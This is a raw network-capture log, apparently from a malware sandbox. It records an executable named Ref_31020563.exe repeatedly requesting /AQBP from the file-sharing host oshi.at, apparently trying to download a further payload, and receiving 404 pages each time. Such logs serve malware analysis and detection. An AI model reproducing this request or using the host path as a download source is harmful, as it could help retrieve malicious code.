2024-12-10 15:29:36 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:35 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:36 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49761	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:38 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:38 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:38 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:38 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49762	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:40 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:41 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:41 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:41 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49763	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:43 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:44 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:44 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:44 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49764	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:46 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:47 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:47 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:47 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49765	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:49 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:50 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:50 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:50 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49766	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:52 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:53 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:53 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:53 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49767	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:55 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:56 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:55 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:56 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49768	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:29:58 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:29:59 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:29:58 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:29:59 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49769	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:01 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:02 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:01 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:02 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49770	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:04 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:04 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:04 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:04 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49771	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:07 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:08 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:07 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:08 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49772	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:10 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:10 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:10 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:10 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49773	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:13 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:13 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:13 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:13 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49774	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:15 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:16 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:16 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:16 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49775	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:18 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:19 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:19 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
